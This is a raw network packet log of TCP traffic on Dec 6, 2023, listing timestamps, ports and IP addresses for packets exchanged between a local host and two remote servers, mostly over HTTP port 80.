Dec 6, 2023 14:52:14.942065001 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942116976 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942128897 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942174911 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942193985 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942239046 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942270994 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942318916 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942331076 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942375898 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942450047 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942492008 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942496061 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942528963 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942533016 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942573071 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942612886 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942661047 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942734957 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942785025 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942787886 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942825079 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942836046 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942867041 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942900896 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.942949057 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.942980051 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943031073 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943063021 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943110943 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943130016 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943166971 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943176031 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943212032 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943226099 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943272114 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943319082 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943366051 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943413973 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943463087 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943469048 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943517923 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943603039 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943650961 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943659067 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943695068 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943715096 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943741083 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943747044 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943793058 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943820953 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943866014 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943880081 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943917036 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.943926096 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943960905 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.943974018 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944061995 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944094896 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944129944 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944139957 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944169998 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944202900 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944247007 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944269896 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944314003 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944329023 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944371939 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944432974 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944478035 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944499969 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944536924 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944556952 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944575071 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944588900 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944633961 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944664955 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944711924 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944741011 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944788933 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944801092 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944828987 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944834948 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944881916 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944911957 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.944957972 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.944974899 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945010900 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945030928 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945055962 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945096970 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945154905 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945188046 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945233107 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945250034 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945297003 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945302010 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945348024 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945353985 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945399046 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945416927 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945461035 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945481062 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945524931 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945543051 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945588112 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945606947 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945625067 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945655107 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945672035 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945713997 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945755959 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945763111 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945796013 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945802927 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945851088 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945874929 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945919991 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.945936918 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.945980072 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946063042 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946109056 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946139097 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946186066 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946191072 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946232080 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946254015 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946296930 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946296930 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946341991 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946368933 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946400881 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946413040 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946443081 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946460009 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946491957 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946502924 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946533918 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946573973 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946619034 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946664095 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946707964 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946738958 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946779013 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946798086 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946841002 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946856022 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946902037 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946927071 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.946966887 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.946995020 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947043896 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947056055 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947103024 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947201014 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947249889 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947268963 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947313070 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947334051 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947376966 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947385073 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947431087 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947444916 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947463989 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947487116 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947511911 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947540998 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947572947 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947596073 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947614908 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947817087 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947865963 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947896004 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.947937965 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.947957039 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948003054 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948009968 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948052883 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948071957 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948102951 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948116064 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948143959 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948146105 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948189020 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948232889 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948277950 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948343992 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948360920 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948389053 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948406935 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948436022 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948484898 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948497057 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948540926 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948700905 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948743105 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948767900 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948821068 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948848009 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.948892117 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.948966980 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949027061 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949172974 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949244022 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949263096 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949305058 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949333906 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949378014 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949400902 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949444056 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949474096 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949516058 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949559927 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949604988 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949634075 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949676037 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949696064 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949713945 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949742079 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949759007 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949788094 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949831009 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949843884 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949883938 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949903011 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.949944019 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.949978113 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.950037003 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.950057983 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.950089931 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.950103998 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.950133085 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.950149059 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.950191975 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.950221062 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.950263977 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.950293064 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.950335979 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.950381994 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.950426102 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.950490952 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.950535059 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.950578928 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.950620890 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.973514080 CET	443	49729	104.21.37.216	192.168.2.5
Dec 6, 2023 14:52:14.973587990 CET	443	49729	104.21.37.216	192.168.2.5
Dec 6, 2023 14:52:14.973695040 CET	49729	443	192.168.2.5	104.21.37.216
Dec 6, 2023 14:52:14.974328995 CET	49729	443	192.168.2.5	104.21.37.216
Dec 6, 2023 14:52:14.974380016 CET	443	49729	104.21.37.216	192.168.2.5
Dec 6, 2023 14:52:15.100951910 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.101061106 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.101850033 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.101896048 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.101906061 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.101942062 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.101990938 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.102036953 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.102080107 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.102123976 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.103476048 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.103530884 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.103589058 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.103634119 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.103638887 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.103681087 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.103687048 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.103720903 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.103729963 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.103761911 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.103863955 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.103914976 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.103925943 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.103967905 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.103967905 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104044914 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104046106 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104089022 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104091883 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104135036 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104152918 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104196072 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104281902 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104341030 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104347944 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104391098 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104407072 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104449034 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104469061 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104511023 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104511976 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104553938 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104574919 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104607105 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104617119 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104661942 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104664087 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104710102 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104737997 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104783058 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104794025 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104829073 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104834080 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.104913950 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.104984999 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105004072 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105004072 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105027914 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105040073 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105097055 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105118036 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105168104 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105190039 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105246067 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105251074 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105292082 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105314970 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105360985 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105370998 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105415106 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105436087 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105469942 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105485916 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105516911 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105524063 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105571985 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105576038 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105616093 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105653048 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105696917 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105705023 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105741978 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105756998 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105804920 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105818033 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105868101 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105868101 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105926991 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:15.105941057 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105972052 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:15.105988026 CET	80	49725	159.223.29.40	192.168.2.5
